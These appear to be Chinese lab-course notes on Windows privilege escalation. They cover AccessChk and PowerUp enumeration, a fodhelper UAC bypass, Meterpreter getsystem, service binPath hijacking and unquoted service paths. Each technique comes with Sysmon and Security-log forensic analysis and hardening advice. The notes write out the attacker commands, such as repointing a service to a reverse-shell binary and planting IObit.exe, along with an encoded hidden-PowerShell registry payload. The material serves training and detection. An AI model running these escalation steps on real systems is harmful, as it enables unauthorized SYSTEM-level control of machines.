# Windows Privilege Escalation(Windows 权限提升)
# 01_Privilege Escalation Enumeration
# 1.1 权限提升枚举概述
在获取初始访问权限(Initial Access)后,攻击者通常处于低权限状态。权限提升枚举(Privilege Escalation Enumeration)旨在发现操作系统配置缺陷、服务权限设置不当或内核漏洞,从而将权限提升至 SYSTEM 或本地管理员(Local Admin)。
# 1.2 使用 AccessChk 进行手动枚举
AccessChk 是 Microsoft Sysinternals 套件中的命令行工具,用于查看文件或注册表键的有效权限。在提权枚举中,常用于查找低权限用户(如 Everyone 或 Users 组)拥有写入或修改权限的敏感目录和服务。
(注:已修正原笔记中 Evertone 的拼写错误,并补全了标准的参数组合)
1. 查找 Everyone 组可写的目录(用于 DLL 劫持或二进制替换):
# -u: 忽略错误, -w: 仅显示可写, -d: 仅目录, -q: 静默模式, -s: 递归子目录
.\accesschk64.exe -uwdqs "Everyone" C:\
2. 查找 Everyone 组可配置 / 可修改的服务(用于服务提权):
# -u: 忽略错误, -w: 仅显示可写, -c: 仅服务, -q: 静默模式, -v: 详细模式
.\accesschk64.exe -uwcqv "Everyone" *
# 1.3 使用 PowerUp.ps1 进行自动化枚举
PowerUp.ps1 是 PowerSploit 框架(或独立版本)中的核心提权枚举脚本。它通过检查 Windows 系统的常见错误配置,自动寻找提权向量。
执行方式:
# 绕过执行策略并导入模块 | |
powershell -ep bypass | |
. .\PowerUp.ps1 | |
# 运行所有检查并输出结果 | |
Invoke-AllChecks |
PowerUp 重点检测的潜在漏洞:
未加引号的服务路径 (Unquoted Service Paths)
- 原理:如果服务的可执行文件路径包含空格且未用引号包裹(例如
C:\Program Files\My App\service.exe),Windows 在解析时会从右向左截断空格,尝试执行C:\Program Files\My.exe。 - 利用:如果攻击者对
C:\Program Files\有写入权限,可以放置恶意的My.exe。当服务重启时,系统将优先执行恶意文件(以 SYSTEM 权限)。 - PowerUp 输出:
Unquoted Service Paths部分会列出存在此漏洞的服务及可利用的插入路径。
- 原理:如果服务的可执行文件路径包含空格且未用引号包裹(例如
可修改的服务 (Modifiable Services)
- 原理:当前低权限用户被错误地授予了对某个以 SYSTEM 权限运行的服务的
SERVICE_CHANGE_CONFIG(修改配置)或SERVICE_START(启动服务)权限。 - 利用:攻击者可以使用
sc config或 PowerUp 的Install-ServiceBinary功能,将服务的binPath(二进制路径)修改为指向恶意可执行文件(如反弹 Shell),然后重启该服务以获取 SYSTEM 权限。 - PowerUp 输出:
Modifiable Services部分会列出当前用户有权修改的服务名称。
- 原理:当前低权限用户被错误地授予了对某个以 SYSTEM 权限运行的服务的
本地管理员权限与凭据泄露 (Local Admin & Credentials)
- 原理:检查当前用户是否已经是本地管理员组的成员(可能通过组策略嵌套),或者在系统注册表(如
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon)、Unattend.xml 文件、McAfee SiteList.xml 或内存中发现了明文 / 加密的本地管理员凭据。 - 利用:直接提取凭据进行 Pass-the-Hash 或明文登录,实现权限提升。
- PowerUp 输出:
Cached GPP Password、Registry Autologon等部分会提取并尝试解密这些凭据。
- 原理:检查当前用户是否已经是本地管理员组的成员(可能通过组策略嵌套),或者在系统注册表(如
# 02_Bypassing UAC (User Account Control)
# 2.1 攻击原理与工具介绍
UAC Bypass 旨在不弹出 UAC 提示框的情况下,将当前进程的完整性级别(Integrity Level)从 Medium(中等)提升至 High(高 / 管理员)。
- 核心目标程序
fodhelper.exe:Windows 10 引入的 “按需功能” 助手。其可执行文件清单(Manifest)中配置了autoElevate=true,且默认会读取当前用户的注册表项HKCU\Software\Classes\ms-settings\shell\open\command。 - 攻击逻辑:攻击者提前将恶意 Payload 路径写入上述注册表项,然后以静默方式启动
fodhelper.exe。由于该程序具有自动提权属性,它会以 High 权限执行注册表中配置的恶意命令,从而实现 UAC Bypass。 - 利用工具:本例使用 PowerShell Empire 项目中的
fodhelper_load.ps1脚本进行自动化利用。
# 2.2 攻击执行与权限验证
在 Meterpreter 会话中执行 Bypass 脚本后,验证权限提升结果:
meterpreter > getuid | |
Server username: CLIENT01\offsec | |
meterpreter > shell | |
Process 8344 created. | |
Channel 1 created. | |
Microsoft Windows [Version 10.0.19042.1526] | |
C:\Windows\system32>whoami /groups | |
... | |
Mandatory Label\High Mandatory Level Label S-1-16-12288 |
分析要点: Mandatory Level 显示为 High,证明 UAC Bypass 成功。但需注意,UAC Bypass 仅能提升到 High(管理员),无法直接突破到 SYSTEM 权限。若需 SYSTEM 权限,仍需依赖服务配置错误、内核漏洞等其他提权手段。
# 2.3 基于 Sysmon 的深度溯源分析
通过 Sysmon 日志,可以完美还原 fodhelper UAC Bypass 的完整攻击链。
# 步骤 1:注册表劫持 (Event ID 13)
攻击脚本首先修改注册表,将 ms-settings 协议的执行命令指向恶意 Payload。
Get-SysmonEvent -EventId 13 -Start "3/3/2022 16:46:25" -End "3/3/2022 16:46:26" | | |
Format-List TimeCreated, @{Label="TargetObject";Expression={$_.Properties[1].Value}}, @{Label="Details";Expression={$_.Properties[2].Value}} |
关键日志特征:
- TargetObject 1:
...\ms-settings\Shell\Open\command\DelegateExecute-> Details:(Empty)(清空该值以强制使用 Default 值)。 - TargetObject 2:
...\ms-settings\Shell\Open\command\(Default)-> Details:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc $x - 分析:这是典型的
fodhelper劫持手法。Payload 被隐藏在注册表的Windows Update键值中,并通过 Base64 编码执行,以规避命令行日志的直接记录。
# 步骤 2:触发 Auto-Elevate 进程 (Event ID 1)
注册表修改完成后,脚本静默启动 fodhelper.exe 。
Get-SysmonEvent -EventId 1 -Start "3/3/2022 16:46:25" -End "3/3/2022 16:46:28" | | |
Where-Object { $_.Properties[4].Value -like "*fodhelper*" } | | |
Format-List TimeCreated, @{Label="Image";Expression={$_.Properties[4].Value}}, @{Label="IntegrityLevel";Expression={$_.Properties[13].Value}}, @{Label="ParentImage";Expression={$_.Properties[20].Value}} |
关键日志特征:
- Image:
C:\Windows\System32\fodhelper.exe - IntegrityLevel:
Medium(注意:此时fodhelper.exe本身启动时仍是 Medium,但它启动的子进程将是 High)。 - ParentImage:
powershell.exe(由攻击脚本触发)。
# 步骤 3:高权限 Payload 执行 (Event ID 1)
fodhelper.exe 读取被劫持的注册表,以 High 权限执行了攻击者预设的 PowerShell 命令,该命令最终释放并执行了真正的反弹 Shell 程序 ( fodshell_443.exe )。
Get-SysmonEvent -EventId 1 -Start "3/3/2022 16:46:25" -End "3/3/2022 16:46:28" | | |
Where-Object { $_.Properties[4].Value -like "*fodshell*" } | | |
Format-List TimeCreated, @{Label="Image";Expression={$_.Properties[4].Value}}, @{Label="IntegrityLevel";Expression={$_.Properties[13].Value}}, @{Label="ParentImage";Expression={$_.Properties[20].Value}} |
关键日志特征:
- Image:
C:\tools\windows_privilege_escalation\fodshell_443.exe - IntegrityLevel:
High(核心证据!证明提权成功)。 - ParentImage:
powershell.exe(由fodhelper触发的隐藏 PowerShell 进程拉起)。
# 2.4 基于 PowerShell Logging 的辅助分析
结合 PowerShell 模块日志 (Event ID 4103),可以还原攻击脚本内部的调用逻辑。
# 导入自定义查询函数 | |
Import-Module C:\Sysmon\Get-PSLog.psm1 | |
# 查询 4103 事件,分析 Start-Process 的调用 | |
Get-PSLogEvent -EventId 4103 -Start "3/3/2022 16:46:25" -End "3/3/2022 16:46:27" | | |
Format-List TimeCreated, @{Label="Command";Expression={$_.Properties[1].Value}}, @{Label="Parameters";Expression={$_.Properties[2].Value}} |
关键日志特征:
- CommandInvocation:
Start-Process - ParameterBinding:
FilePath=C:\Windows\system32\fodhelper.exe(第一次调用,触发提权)FilePath=C:\tools\windows_privilege_escalation\fodshell_443.exe(第二次调用,在高权限上下文中执行最终的 Shell)
- 分析:日志清晰地暴露了脚本的执行逻辑。同时,在第二次调用的
Host Application中,可以看到那段 Base64 编码 (UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcw...),解码后正是Start-Process C:\tools\...\fodshell_443.exe。这再次证明了 Script Block/Module Logging 对抗编码混淆的有效性。
# 2.5 后续追踪思路:定位网络特征
通过 Sysmon Event ID 1 获取到最终执行反弹 Shell 的进程 PID(本例中为 3124 ),即可进一步查询网络外联日志,确认 C2 通信情况:
# 通过 PID 追踪网络连接 (Event ID 3) | |
Get-SysmonEvent -EventId 3 -Start "3/3/2022 16:46:26" -End "3/3/2022 16:47:00" | | |
Where-Object { $_.Properties[3].Value -eq 3124 } | | |
Format-List TimeCreated, @{Label="Image";Expression={$_.Properties[4].Value}}, @{Label="DestinationIP";Expression={$_.Properties[14].Value}}, @{Label="DestinationPort";Expression={$_.Properties[16].Value}} |
# 03_Service Creation & Privilege Escalation (getsystem)
# 3.1 权限提升工具 getsystem 概述
在 Meterpreter 中, getsystem 命令用于将当前会话的权限从本地管理员(Local Admin)提升至最高系统权限( NT AUTHORITY\SYSTEM )。
通过 -t 参数可以指定提权技术,默认 0 为尝试所有可用技术:
- Technique 1: Named Pipe Impersonation (In Memory/Admin) - 命名管道模拟(内存中)
- Technique 2: Named Pipe Impersonation (Dropper/Admin) - 命名管道模拟(落盘)
- Technique 3: Token Duplication (In Memory/Admin) - 令牌复制(利用 RPCSS 服务)
- Technique 4: Named Pipe Impersonation (RPCSS variant) - 命名管道模拟(RPCSS 变体)
注:本案例主要复现并分析 命名管道模拟(Technique 1/2) 的攻击过程及其在日志中留下的痕迹。
# 3.2 核心原理:命名管道模拟 (Named Pipe Impersonation)
# 3.2.1 关键概念辨析
在理解该技术之前,需要明确以下两个核心概念:
- 命名管道(Named Pipe)是本地内存通道,非远程服务:
- 路径格式如
\\.\pipe\shdzns中,.代表 Localhost。管道是 Windows 系统内部一种运行在本地内存中的进程间通信(IPC)机制,并非远端服务。
- 重定向的真正目的:诱骗凭证而非传递输入输出:
- 攻击者将服务的启动命令定向写入管道(
echo data > \\.\pipe\...),目的并非获取服务的标准输出,而是 “强制” 让 SYSTEM 权限的服务主动连接攻击者监听的管道,从而触发 Windows 的身份模拟机制。
# 3.2.2 详细提权与 Token 窃取流程
该技术本质是利用 Windows 的 ImpersonateNamedPipeClient API 实现客户端 Token 窃取,完整链条如下:
- 设置管道陷阱(Admin 权限):
- 攻击者在当前的 Meterpreter 进程(Admin 权限)中建立一个命名管道服务端(如
\\.\pipe\shdzns),并开始等待客户端连接。
- 创建 SYSTEM 级服务:
- 攻击者利用已有管理员权限向服务控制管理器(
services.exe)注册一个临时 Windows 服务,将启动账户设为LocalSystem,执行命令设为向管道写入数据:cmd.exe /c echo shdzns > \\.\pipe\shdzns
- 高权限进程拉起与连接:
- 服务启动时,本身拥有最高权限的
services.exe以NT AUTHORITY\SYSTEM账户拉起子进程cmd.exe。 - 该
cmd.exe继承父进程的 SYSTEM 权限,执行重定向命令,作为客户端主动连接攻击者的命名管道。
- 窃取 Token(Impersonation):
- 当 SYSTEM 级的
cmd.exe连接上管道的一瞬间,在管道另一端监听的攻击者进程立即调用 Windows APIImpersonateNamedPipeClient()。 - Windows 检查连接者身份(为 SYSTEM)后,允许管道服务端(攻击者)复制并借用该客户端的安全令牌(Token)。
- 创建 SYSTEM 新进程:
- 攻击者拿到 SYSTEM Token 后,调用
CreateProcessWithTokenW或类似 API 开启新进程,完成从 Admin 到 SYSTEM 的权限提升。
# 3.3 溯源分析:Security 日志 (Event ID 4697)
服务创建行为会被记录在 Security 日志的 Event ID 4697(A service was installed in the system)中。
1. 初步定位服务安装事件
# 导入自定义查询函数 | |
Import-Module C:\Sysmon\Get-Security.psm1 | |
# 查询攻击时间段内的 4697 事件 | |
Get-SecurityEvent -EventId 4697 -Start "3/4/2022 15:07:00" -End "3/4/2022 15:08:00" |
2. 详细分析 4697 事件内容
Get-SecurityEvent -EventId 4697 -Start "3/4/2022 15:07:41" -End "3/4/2022 15:07:43" | Format-List TimeCreated, Message |
关键日志字段提取与分析:
- Service Name:
shdzns(Meterpreter 随机生成的 6 位字符串,用于隐藏真实意图)。 - Service File Name:
cmd.exe /c echo shdzns > \\.\pipe\shdzns(核心特征:命令并非启动一个常规的可执行文件,而是通过cmd.exe向本地命名管道写入数据,这是诱骗 SYSTEM 连接管道的铁证)。 - Service Account:
LocalSystem(确认服务以最高权限运行,保证拉起的cmd.exe携带 SYSTEM Token)。
# 3.4 溯源分析:Sysmon 日志 (Event ID 13 & 1)
Sysmon 提供了更细粒度的进程和注册表操作记录,能够完整还原 getsystem 的动态执行过程。
1. 注册表修改与服务配置 (Event ID 13)
# 导入 Sysmon 查询模块 | |
Import-Module C:\Sysmon\Get-Sysmon.psm1 | |
# 查询同一时间段的注册表修改事件 | |
Get-SysmonEvent -EventId 13 -Start "3/4/2022 15:07:41" -End "3/4/2022 15:07:43" | Format-List TimeCreated, @{Label="TargetObject";Expression={$_.Properties[1].Value}}, @{Label="Details";Expression={$_.Properties[2].Value}}, @{Label="Image";Expression={$_.Properties[4].Value}} |
关键日志特征:
- Image:
C:\Windows\system32\services.exe(服务控制管理器,负责服务的创建和启动)。 - TargetObject 1:
HKLM\System\CurrentControlSet\Services\shdzns\ImagePath-> Details:cmd.exe /c echo shdzns > \\.\pipe\shdzns(写入服务的可执行路径)。 - TargetObject 2 & 3:
HKLM\System\CurrentControlSet\Services\shdzns\Start - 第一次修改为
DWORD (0x00000003)(Demand Start / 手动启动,用于触发服务执行)。 - 第二次修改为
DWORD (0x00000004)(Disabled / 禁用,攻击者在窃取 Token 后,迅速将服务改为禁用状态,防止系统重启后再次执行或引起怀疑)。
2. 高权限进程创建 (Event ID 1)
# 查询进程创建事件 | |
Get-SysmonEvent -EventId 1 -Start "3/4/2022 15:07:41" -End "3/4/2022 15:07:43" | Format-List TimeCreated, @{Label="Image";Expression={$_.Properties[4].Value}}, @{Label="User";Expression={$_.Properties[12].Value}}, @{Label="ParentImage";Expression={$_.Properties[20].Value}}, @{Label="CommandLine";Expression={$_.Properties[10].Value}} |
关键日志特征:
- Image:
C:\Windows\System32\cmd.exe - User:
NT AUTHORITY\SYSTEM(核心证据:证明该cmd.exe继承了services.exe的最高 SYSTEM 权限)。 - ParentImage:
C:\Windows\System32\services.exe(清晰体现由服务控制管理器拉起的父子进程关系)。 - CommandLine:
cmd.exe /c echo shdzns > \\.\pipe\shdzns(执行向管道写数据的命令,从而触发 Token 模拟)。
分析总结:Sysmon 日志完美印证了 Security 日志的结论,并补充了注册表动态修改和进程父子关系的细节,形成了完整的证据链。
# 3.5 痕迹清理与 “阅后即焚” 机制
在攻击完成后,尝试在系统中查找该服务时,会发现它已经不存在了:
# 尝试查询注册表中的服务项 | |
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\shdzns | |
# 报错:Cannot find path ... because it does not exist. | |
# 尝试查询服务状态 | |
Get-Service shdzns | |
# 报错:Cannot find any service with service name'shdzns'. |
原因解析:
Meterpreter 的 getsystem 模块具备自动清理机制。一旦它通过命名管道成功窃取了 SYSTEM Token 并完成了权限提升,它会立即执行以下清理操作:
- 停止该临时服务。
- 从注册表中彻底删除该服务的配置项(
HKLM\SYSTEM\CurrentControlSet\Services\shdzns)。 - 关闭并销毁内存中的命名管道。
- 删除磁盘上可能残留的临时文件(如果是 Technique 2 落盘模式)。
安全启示:
这种 “阅后即焚” 机制极大地增加了事后排查的难度。如果防守方没有开启 Sysmon 或 Security 日志审计(特别是 Event ID 4697),这种基于内存和短暂服务创建的提权行为将极难被发现。因此,持续监控 4697 事件并结合 Sysmon 进行进程 / 注册表关联分析,是检测此类高级提权手段的唯一有效途径。
# 04_Attacking Service Permissions (可修改服务权限提权)
# 4.1 攻击原理
可修改服务权限 (Modifiable Service Permissions) 是 Windows 提权中非常经典且常见的一种配置缺陷。
如果低权限用户(如 Users 或 Everyone )对某个以 LocalSystem (SYSTEM) 权限运行的服务拥有 SERVICE_CHANGE_CONFIG (修改配置)权限,攻击者就可以将该服务的 binPath (二进制可执行文件路径)修改为恶意 Payload。当服务被启动或重启时,系统会以 SYSTEM 权限执行该恶意程序,从而实现权限提升。
# 4.2 枚举与侦察
在利用此漏洞前,需要确认目标服务是否以 SYSTEM 运行,且当前用户是否有权修改其配置。
1. 查询服务基础配置
使用 sc.exe qc (Query Configuration) 查看服务的详细信息:
sc.exe qc usosvc
sc.exe qc Serviio
分析要点:重点关注 BINARY_PATH_NAME (服务对应的可执行文件路径)和 SERVICE_START_NAME (运行账户,必须为 LocalSystem 才有提权价值)。
2. 检查服务权限
使用 Sysinternals 的 accesschk.exe 检查当前用户对该服务的访问权限:
.\accesschk64.exe -c Serviio -l
参数解释: -c 表示检查服务 (Service), -l 表示仅列出时间 / 权限信息。
分析要点:在输出结果中寻找当前用户(如 CLIENT01\offsec )或所属组(如 BUILTIN\Users )是否拥有 SERVICE_CHANGE_CONFIG 或 SERVICE_ALL_ACCESS 权限。
# 4.3 漏洞利用
确认权限后,修改服务路径并启动服务。
1. 修改服务二进制路径
sc.exe config Serviio binpath= "C:\tools\windows_privilege_escalation\servshell_443.exe"
(注: binpath= 后面必须保留一个空格,这是 sc.exe 的语法要求。)
2. 启动服务
net start serviio
现象分析:执行后通常会报错(如 [SC] StartService FAILED 1053: )。这是因为:Meterpreter/Msfvenom 生成的 servshell_443.exe 是一个普通的可执行文件,并没有实现 Windows 服务控制管理器 (SCM) 所要求的服务交互 API(如 StartServiceCtrlDispatcher )。SCM 在等待服务响应超时后会报错,但此时恶意 Payload 已经作为 SYSTEM 进程成功执行并建立了反弹 Shell。
# 4.4 审计与溯源 (Sysmon 分析)
通过 Sysmon 日志,可以完整还原从 “修改配置” 到 “高权限执行” 的攻击链。
# 阶段一:捕获配置修改动作
攻击者执行 sc.exe config 时,会留下进程创建和注册表修改的痕迹。
1. 进程创建 (Event ID 1)
Get-SysmonEvent -EventId 1 -Start "3/4/2022 20:17:00" -End "3/4/2022 20:18:00" | | |
Where-Object { $_.Properties[4].Value -like "*sc.exe*" } | | |
Format-List TimeCreated, @{Label="Image";Expression={$_.Properties[4].Value}}, @{Label="CommandLine";Expression={$_.Properties[10].Value}}, @{Label="User";Expression={$_.Properties[12].Value}} |
日志特征:
- Image:
C:\Windows\System32\sc.exe - CommandLine:
"C:\Windows\system32\sc.exe" config Serviio binpath= C:\tools\windows_privilege_escalation\servshell_443.exe - User:
CLIENT01\offsec(Medium 权限) - 分析:直接暴露了攻击者修改了哪个服务以及目标 Payload 的路径。
2. 注册表修改 (Event ID 13)sc.exe config 的底层实现是修改注册表。
Get-SysmonEvent -EventId 13 -Start "3/4/2022 20:17:00" -End "3/4/2022 20:18:00" | | |
Where-Object { $_.Properties[1].Value -like "*Serviio*" } | | |
Format-List TimeCreated, @{Label="TargetObject";Expression={$_.Properties[1].Value}}, @{Label="Details";Expression={$_.Properties[2].Value}}, @{Label="Image";Expression={$_.Properties[4].Value}} |
日志特征:
- Image:
C:\Windows\system32\services.exe(服务控制管理器) - TargetObject:
HKLM\System\CurrentControlSet\Services\Serviio\ImagePath - Details:
C:\tools\windows_privilege_escalation\servshell_443.exe - 分析:确认服务的可执行路径已被系统底层(services.exe)成功篡改。
# 阶段二:追踪服务启动与高权限执行 (进程链分析)
当攻击者执行 net start serviio 时,Sysmon 会记录一条非常经典的 Windows 服务启动进程链。
Get-SysmonEvent -EventId 1 -Start "03/04/2022 20:19:17" -End "03/04/2022 20:20:17" | | |
Format-List @{Label="UtcTime";Expression={$_.Properties[1].Value}}, | |
@{Label="Image";Expression={$_.Properties[4].Value}}, | |
@{Label="ProcessId";Expression={$_.Properties[3].Value}}, | |
@{Label="CommandLine";Expression={$_.Properties[10].Value}}, | |
@{Label="User";Expression={$_.Properties[12].Value}}, | |
@{Label="ParentImage";Expression={$_.Properties[20].Value}}, | |
@{Label="ParentProcessId";Expression={$_.Properties[19].Value}} |
进程链还原与深度分析:
通过 ParentProcessId 和 ProcessId 的关联,可以画出完整的执行树:
powershell.exe(PID 10208)- 动作:攻击者的初始 Shell,输入了
net start serviio。
- 动作:攻击者的初始 Shell,输入了
net.exe(PID 6484)- Parent:
powershell.exe - CommandLine:
"C:\Windows\system32\net.exe" start serviio - User:
CLIENT01\offsec(Medium)
- Parent:
net1.exe(PID 2060)- Parent:
net.exe - CommandLine:
C:\Windows\system32\net1 start serviio - 分析:Windows 的
net.exe实际工作进程,负责向 SCM 发送启动服务的 RPC 请求。
- Parent:
services.exe(PID 588)- Parent:
net1.exe(注:严格来说 services.exe 是系统核心进程,这里记录的是它响应 net1 的请求并准备拉起子进程的动作,或者在某些 Sysmon 版本中体现为 SCM 线程的活动)。 - 分析:Windows 服务控制管理器 (SCM),负责读取注册表中的
ImagePath并创建新进程。
- Parent:
servshell_443.exe(PID 5840) 🚨 核心目标- Parent:
services.exe(PID 588) - User:
NT AUTHORITY\SYSTEM(最高权限) - Image:
C:\tools\windows_privilege_escalation\servshell_443.exe - 分析:这是被篡改后实际执行的恶意 Payload。它的父进程是
services.exe,且运行身份为SYSTEM,这构成了服务权限滥用的铁证。
- Parent:
# 4.5 总结与防御建议
- 检测规则:
- 监控 Event ID 4697 (Security) 或 Event ID 13 (Sysmon),查找
ImagePath被修改为可疑路径(如C:\Users\Public\、C:\Temp\或包含shell、nc等关键字)的服务。 - 监控 Event ID 1 (Sysmon),查找
services.exe作为父进程,但子进程是未知或可疑可执行文件的行为。
- 监控 Event ID 4697 (Security) 或 Event ID 13 (Sysmon),查找
- 防御加固:
- 定期使用
accesschk.exe或 PowerShell 脚本审计所有以 SYSTEM 运行的服务的权限,确保低权限用户没有SERVICE_CHANGE_CONFIG权限。 - 遵循最小权限原则,修复 Windows 默认配置中可能存在的服务 ACL 错误。
- 定期使用
# 05_Leveraging Unquoted Service Paths (利用未加引号的服务路径)
# 5.1 漏洞原理:Windows 路径解析机制
未加引号的服务路径(Unquoted Service Paths) 是 Windows 提权中最经典的配置缺陷之一。
核心原理:
当 Windows 服务控制管理器(SCM)启动一个服务时,如果该服务的可执行文件路径( BINARY_PATH_NAME )包含空格且没有使用双引号包裹,Windows 在解析路径时会采用 “从右向左截断空格” 的机制,依次尝试执行不同的路径。
示例:
假设服务的真实路径为: C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe (无引号)
Windows 会按以下顺序尝试执行:
C:\Program.exeC:\Program Files.exeC:\Program Files (x86)\IObit.exe<-- 如果攻击者对C:\Program Files (x86)\IObit\目录有写入权限,即可在此处放置恶意文件IObit.exeC:\Program Files (x86)\IObit\IObit.exeC:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe(最终执行真实程序)
# 5.2 枚举与侦察
使用 PowerSploit 框架中的 PowerUp.ps1 自动寻找存在此漏洞的服务。
1. 运行自动化检测
Import-Module .\PowerUp.ps1 | |
Get-UnquotedService |
2. 分析输出结果
ServiceName : IObitUnSvr | |
Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe | |
ModifiablePath: @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=BUILTIN\Users; Permissions=System.Object[]} | |
StartName : LocalSystem | |
AbuseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath> | |
CanRestart : False |
关键分析点:
- Path:路径包含空格且无引号。
- ModifiablePath:指出当前用户(
BUILTIN\Users)对C:\Program Files (x86)\IObit目录具有写入权限。 - StartName:
LocalSystem,意味着利用成功后可获得最高 SYSTEM 权限。 - CanRestart:
False。表示当前用户没有权限直接重启该服务(无法立即提权)。 - AbuseFunction:PowerUp 给出的利用建议,即使用
Write-ServiceBinary在可写路径下生成恶意二进制文件。
3. 验证服务配置
使用 sc.exe 进一步确认服务状态:
sc.exe qc IOBitUnSvr
确认 BINARY_PATH_NAME 确实无引号,且 START_TYPE 为 AUTO_START (自动启动)。
# 5.3 漏洞利用策略:利用系统重启实现提权 / 持久化
由于 CanRestart 为 False ,我们无法通过 net stop / net start 立即触发漏洞。但利用其 AUTO_START 特性,我们可以将 Payload 植入可写目录,等待目标机器重启。当系统启动时,SCM 会自动拉起该服务,从而在用户登录前以 SYSTEM 权限执行我们的恶意代码。
1. 投递 Payload
根据 Windows 的路径解析顺序,我们将恶意程序命名为 IObit.exe ,并放置在 C:\Program Files (x86)\IObit\ 目录下。
# 将 Meterpreter 生成的反弹 Shell 复制到劫持路径 | |
copy .\servshell_443.exe 'C:\Program Files (x86)\IObit\IObit.exe' |
2. 触发执行
等待目标机器重启。重启后,攻击者监听的端口将收到来自 SYSTEM 权限的反弹 Shell 连接。
# 5.4 审计与溯源 (Sysmon 分析)
通过 Sysmon 日志,可以完美还原从 “Payload 落地” 到 “系统级劫持执行” 的完整过程。
# 阶段一:追踪恶意文件落地 (Event ID 11)
在攻击者执行 copy 命令时,Sysmon 会记录文件创建事件。
(注:此处触发了 Sysmon 配置中专门针对 .exe 文件创建的 EXE 规则)
Get-SysmonEvent -EventId 11 -Start "3/5/2022 12:15:06" -End "3/5/2022 12:15:08" | | |
Format-List TimeCreated, | |
@{Label="RuleName";Expression={$_.Properties[0].Value}}, | |
@{Label="Image";Expression={$_.Properties[4].Value}}, | |
@{Label="TargetFilename";Expression={$_.Properties[5].Value}} |
关键日志特征:
- RuleName:
EXE(Sysmon 规则命中) - Image:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe(执行 copy 命令的进程) - TargetFilename:
C:\Program Files (x86)\IObit\IObit.exe(恶意 Payload 的落地路径) - 分析:这证明了攻击者成功在存在漏洞的目录层级下放置了可执行文件。
# 阶段二:追踪系统启动时的劫持执行 (Event ID 1)
系统重启后,SCM ( services.exe ) 会尝试启动 IOBitUnSvr 服务。此时,Windows 的路径解析机制生效,优先执行了我们放置的 IObit.exe 。
Get-SysmonEvent -EventId 1 | | |
Where-Object { $_.Properties[4].Value -like "*IObit.exe*" } | | |
Format-List TimeCreated, | |
@{Label="Image";Expression={$_.Properties[4].Value}}, | |
@{Label="User";Expression={$_.Properties[12].Value}}, | |
@{Label="ParentImage";Expression={$_.Properties[20].Value}}, | |
@{Label="CommandLine";Expression={$_.Properties[10].Value}} |
关键日志特征与深度剖析:
- Image:
C:\Program Files (x86)\IObit\IObit.exe(被劫持执行的恶意程序) - User:
NT AUTHORITY\SYSTEM(核心证据:证明提权成功) - ParentImage:
C:\Windows\System32\services.exe(由 Windows 服务控制管理器在系统启动时自动拉起) - CommandLine:
"C:\Program Files (x86)\IObit\IObit.exe" Uninstaller\IUService.exe- 🚨 漏洞铁证:请仔细观察
CommandLine!由于原始服务路径没有引号,Windows 将空格后的Uninstaller\IUService.exe错误地解析为了传递给IObit.exe的命令行参数。这是未加引号服务路径漏洞在日志中最典型、最无可辩驳的特征!
- 🚨 漏洞铁证:请仔细观察
# 5.5 修复与防御建议
- 添加引号:在服务配置中,为包含空格的路径添加双引号(例如:
"C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe")。 - 修复目录权限:使用
icacls命令收紧服务所在目录及其父目录的 ACL,确保低权限用户(如Users,Everyone)没有写入(W)或修改(M)权限。icacls "C:\Program Files (x86)\IObit" /remove "BUILTIN\Users" /T - 定期审计:使用 PowerUp (
Get-UnquotedService) 或专门的审计脚本定期扫描系统中的未加引号服务路径。